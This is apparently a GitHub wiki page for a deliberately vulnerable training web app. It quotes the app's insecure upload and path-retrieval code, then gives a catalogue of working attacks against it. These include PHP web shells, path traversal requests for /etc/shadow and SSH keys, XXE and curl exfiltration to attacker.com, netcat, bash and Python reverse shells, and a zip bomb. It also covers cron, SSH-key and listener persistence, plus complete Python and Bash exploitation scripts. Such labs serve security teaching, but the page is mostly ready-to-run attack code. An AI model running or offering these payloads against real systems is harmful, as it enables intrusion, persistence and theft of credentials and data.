File Upload Attacks - capstone-hermes/hermes-fullstack GitHub Wiki

File Upload Attack Exploitation

Overview

The Weak Website's file upload system contains multiple critical vulnerabilities that allow attackers to upload malicious files, execute commands, and gain unauthorized access to the server filesystem. These vulnerabilities stem from insufficient file validation, unrestricted file types, and improper file handling.

Vulnerable Code Locations

File Upload Controller

File: server/src/modules/file/file.controller.ts

// Lines 38-52: Unrestricted file upload
@UseInterceptors(
  FileInterceptor('file', {
    storage: diskStorage({
      destination: './uploads',
      filename: (req, file, cb) => {
        // V12.3.1: Use user-submitted filename directly (vulnerability)
        const filename = file.originalname;
        cb(null, filename);
      },
    }),
    // V12.1.1: No limit on file size (vulnerability)
    limits: {
      fileSize: 1024 * 1024 * 1000, // 1GB allowed
    },
  }),
)

Path Traversal Endpoints

// Line 91: Path traversal vulnerability
@Get('retrieve')
async retrieveFile(@Query('path') filePath: string, @Res() res: Response) {
  // V12.3.1: Vulnerable to path traversal
  if (fs.existsSync(filePath)) {
    const content = fs.readFileSync(filePath, 'utf8');
    return res.send(content);
  }
}

Attack Vectors

1. Malicious File Upload

Web Shell Upload

<?php
// Simple PHP web shell - save as shell.php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

Upload Process:

# Upload the PHP shell
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected]"

# Execute commands via the web shell
curl "http://localhost:8080/uploads/shell.php?cmd=whoami"
curl "http://localhost:8080/uploads/shell.php?cmd=ls -la"

Advanced Web Shell

<?php
// Advanced PHP shell with multiple features
if(isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    $output = '';
    
    if(function_exists('exec')) {
        exec($cmd, $output);
        echo implode("\n", $output);
    } elseif(function_exists('shell_exec')) {
        echo shell_exec($cmd);
    } elseif(function_exists('system')) {
        system($cmd);
    } elseif(function_exists('passthru')) {
        passthru($cmd);
    } else {
        echo "No command execution functions available";
    }
}

if(isset($_GET['download'])) {
    $file = $_GET['download'];
    if(file_exists($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        readfile($file);
        exit;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Advanced Shell</title>
</head>
<body>
    <h2>Command Execution</h2>
    <form method="post">
        <input type="text" name="cmd" placeholder="Enter command" style="width:300px;">
        <input type="submit" value="Execute">
    </form>
    
    <h2>File Operations</h2>
    <a href="?download=/etc/passwd">Download /etc/passwd</a><br>
    <a href="?download=../app.js">Download app.js</a><br>
</body>
</html>

2. Path Traversal Attacks

Basic Directory Traversal

# Access system files (Linux)
curl "http://localhost:8080/file/retrieve?path=../../../../etc/passwd"
curl "http://localhost:8080/file/retrieve?path=../../../../etc/shadow"
curl "http://localhost:8080/file/retrieve?path=../../../../home/user/.ssh/id_rsa"

# Access system files (Windows)
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts"
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\users\\administrator\\desktop\\sensitive.txt"

Application File Access

# Access application source code
curl "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/package.json"
curl "http://localhost:8080/file/retrieve?path=../../../server/.env"

# Access configuration files
curl "http://localhost:8080/file/retrieve?path=../../../docker-compose.yml"
curl "http://localhost:8080/file/retrieve?path=../../../README.md"

Database Configuration Extraction

# Extract database credentials
curl "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts"

# Look for environment files
curl "http://localhost:8080/file/retrieve?path=../../../.env"
curl "http://localhost:8080/file/retrieve?path=../../../server/.env.local"

3. Filename Manipulation Attacks

Path Traversal via Filename

# Upload file with path traversal in name
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected];filename=../../../shell.php"

# Upload to parent directories
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected];filename=../../public/malicious.html"

Overwrite Critical Files

# Attempt to overwrite application files
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected];filename=../../../server/src/main.js"

# Overwrite configuration
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected];filename=../../../package.json"

4. File Type Bypass Techniques

Double Extension

# Upload with double extension
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected]"

# Null byte injection (some systems)
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected]%00.jpg"

MIME Type Manipulation

# Upload with fake MIME type
curl -X POST http://localhost:8080/file/upload \
  -H "Content-Type: multipart/form-data" \
  -F "[email protected];type=image/jpeg"

Advanced Exploitation Scenarios

1. Server-Side Template Injection (SSTI)

Upload Malicious Template

<!-- malicious.html -->
<!DOCTYPE html>
<html>
<head>
    <title>SSTI Test</title>
</head>
<body>
    <!-- Server-side template injection payload -->
    {{7*7}}
    {{config}}
    {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
</body>
</html>
# Upload the template
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected]"

# Access the template
curl "http://localhost:8080/uploads/malicious.html"

2. XML External Entity (XXE) Attack

Malicious XML File

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe2 SYSTEM "http://attacker.com/xxe?data=">
]>
<root>
    <data>&xxe;</data>
    <exfiltrate>&xxe2;</exfiltrate>
</root>
# Upload XXE payload
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected]"

3. Archive-based Attacks

Zip Bomb

#!/usr/bin/env python3
# Create a zip bomb
import zipfile

def create_zip_bomb(filename, size_mb=1000):
    with zipfile.ZipFile(filename, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Create a large file in memory
        large_content = 'A' * (1024 * 1024)  # 1MB of 'A's
        
        for i in range(size_mb):
            zf.writestr(f'bomb_{i}.txt', large_content)

create_zip_bomb('bomb.zip', 1000)  # 1GB when extracted
# Upload zip bomb
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected]"

Directory Traversal in Archives

# Create archive with path traversal
tar -czf traversal.tar.gz --transform='s,^,../../../,' malicious.php

# Upload the archive
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected]"

4. Polyglot File Attacks

PHP/Image Polyglot

<?php
// This file appears as both valid image and PHP
// Insert after JPEG header bytes
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

Create polyglot:

# Create a file that's both JPEG and PHP
echo -e '\xFF\xD8\xFF\xE0\x00\x10JFIF' > polyglot.php
echo '<?php if(isset($_GET["cmd"])) system($_GET["cmd"]); ?>' >> polyglot.php

Command Injection via File Operations

1. OS Command Injection

Direct Command Execution

# The /file/execute endpoint allows direct command execution
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"whoami"}'

curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"ls -la /"}'

Advanced Command Injection

# Chain commands
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"whoami; id; pwd"}'

# Background processes
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"nohup nc -l -p 4444 -e /bin/sh &"}'

# Data exfiltration
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cat /etc/passwd | curl -X POST -d @- http://attacker.com/exfil"}'

2. Reverse Shell Establishment

Netcat Reverse Shell

# Setup listener on attacker machine
nc -lvp 4444

# Execute reverse shell
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"nc attacker.com 4444 -e /bin/bash"}'

Python Reverse Shell

curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"attacker.com\\\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])\""}'

Bash Reverse Shell

curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"bash -i >& /dev/tcp/attacker.com/4444 0>&1"}'

Automated Exploitation Scripts

Python File Upload Scanner

#!/usr/bin/env python3
import requests
import os
import tempfile

class FileUploadExploit:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
    
    def create_web_shell(self, filename="shell.php"):
        """Create a PHP web shell"""
        shell_content = """<?php
if(isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>"""
        
        with tempfile.NamedTemporaryFile(mode='w', suffix='.php', delete=False) as f:
            f.write(shell_content)
            return f.name
    
    def upload_file(self, file_path, custom_filename=None):
        """Upload a file to the server"""
        filename = custom_filename or os.path.basename(file_path)
        
        with open(file_path, 'rb') as f:
            files = {'file': (filename, f)}
            response = self.session.post(
                f"{self.base_url}/file/upload",
                files=files
            )
        
        return response
    
    def test_path_traversal(self, paths):
        """Test path traversal vulnerabilities"""
        results = []
        for path in paths:
            response = self.session.get(
                f"{self.base_url}/file/retrieve",
                params={'path': path}
            )
            
            if response.status_code == 200 and len(response.text) > 0:
                results.append({
                    'path': path,
                    'status': 'accessible',
                    'content_length': len(response.text)
                })
        
        return results
    
    def execute_command(self, command):
        """Execute system command"""
        response = self.session.post(
            f"{self.base_url}/file/execute",
            json={'command': command}
        )
        
        return response

# Example usage
exploit = FileUploadExploit("http://localhost:8080")

# Upload web shell
shell_path = exploit.create_web_shell()
upload_response = exploit.upload_file(shell_path)
print(f"Upload response: {upload_response.status_code}")

# Test path traversal
traversal_paths = [
    "../../../../etc/passwd",
    "../../../../etc/shadow",
    "../../../server/package.json",
    "../../../docker-compose.yml"
]

results = exploit.test_path_traversal(traversal_paths)
for result in results:
    print(f"Path: {result['path']} - Status: {result['status']}")

# Execute commands
cmd_response = exploit.execute_command("whoami")
print(f"Command execution: {cmd_response.text}")

# Cleanup
os.unlink(shell_path)

Bash Exploitation Script

#!/bin/bash

BASE_URL="http://localhost:8080"
UPLOAD_ENDPOINT="/file/upload"
RETRIEVE_ENDPOINT="/file/retrieve"
EXECUTE_ENDPOINT="/file/execute"

echo "=== File Upload Vulnerability Scanner ==="

# Test 1: Upload PHP web shell
echo "Test 1: Uploading PHP web shell"
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>
EOF

curl -s -X POST "$BASE_URL$UPLOAD_ENDPOINT" \
  -F "file=@/tmp/shell.php" | jq '.'

# Test 2: Path traversal
echo -e "\nTest 2: Path Traversal"
PATHS=(
    "../../../../etc/passwd"
    "../../../../etc/hosts"
    "../../../server/package.json"
    "../../../docker-compose.yml"
)

for path in "${PATHS[@]}"; do
    echo "Testing path: $path"
    response=$(curl -s "$BASE_URL$RETRIEVE_ENDPOINT?path=$path")
    if [[ ${#response} -gt 10 ]]; then
        echo "✓ Accessible: ${#response} bytes"
    else
        echo "✗ Not accessible"
    fi
done

# Test 3: Command execution
echo -e "\nTest 3: Command Execution"
COMMANDS=(
    "whoami"
    "id"
    "pwd"
    "ls -la /"
)

for cmd in "${COMMANDS[@]}"; do
    echo "Executing: $cmd"
    curl -s -X POST "$BASE_URL$EXECUTE_ENDPOINT" \
      -H "Content-Type: application/json" \
      -d "{\"command\":\"$cmd\"}" | jq '.output'
done

# Cleanup
rm -f /tmp/shell.php

echo -e "\n=== Test Complete ==="

File-based Persistence

1. Cron Job Installation

# Create malicious cron job
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"echo \"* * * * * curl http://attacker.com/beacon\" | crontab -"}'

2. SSH Key Installation

# Generate SSH key pair on attacker machine
ssh-keygen -t rsa -f attacker_key

# Install public key on target
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"mkdir -p ~/.ssh && echo \"ssh-rsa AAAAB3... [email protected]\" >> ~/.ssh/authorized_keys"}'

3. Backdoor Service

# Create persistent backdoor service
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"nohup bash -c \"while true; do nc -l -p 9999 -e /bin/bash; done\" &"}'

Data Exfiltration Techniques

1. Database Backup Extraction

# Dump database
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"mysqldump -u user -ppassword hermes-weak-website-db > /tmp/db_dump.sql"}'

# Exfiltrate via HTTP
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"curl -X POST --data-binary @/tmp/db_dump.sql http://attacker.com/exfil"}'

2. Source Code Exfiltration

# Archive application source
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"tar -czf /tmp/source.tar.gz ../../../server/src"}'

# Download via file retrieval
curl "http://localhost:8080/file/retrieve?path=/tmp/source.tar.gz" > source_code.tar.gz

3. System Information Gathering

# Comprehensive system information
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"uname -a; cat /proc/version; ps aux; netstat -tulpn; cat /etc/passwd"}'

Defense Evasion

1. File Extension Spoofing

# Upload executable with image extension
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected];filename=innocent.jpg"

2. Steganography

# Hide malicious code in image metadata
from PIL import Image
from PIL.ExifTags import TAGS

# Create image with malicious EXIF data
img = Image.new('RGB', (100, 100), color='white')
exif_dict = {"0th": {}, "Exif": {}, "GPS": {}, "1st": {}, "thumbnail": None}
exif_dict["0th"][TAGS['ImageDescription']] = '<?php system($_GET["cmd"]); ?>'

img.save('steganography.jpg', exif=exif_dict)

3. Polyglot Files

# Create GIF/PHP polyglot
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > polyglot.gif

# Upload polyglot file
curl -X POST http://localhost:8080/file/upload \
  -F "[email protected]"

Next Steps:

Related Topics:

⚠️ **GitHub.com Fallback** ⚠️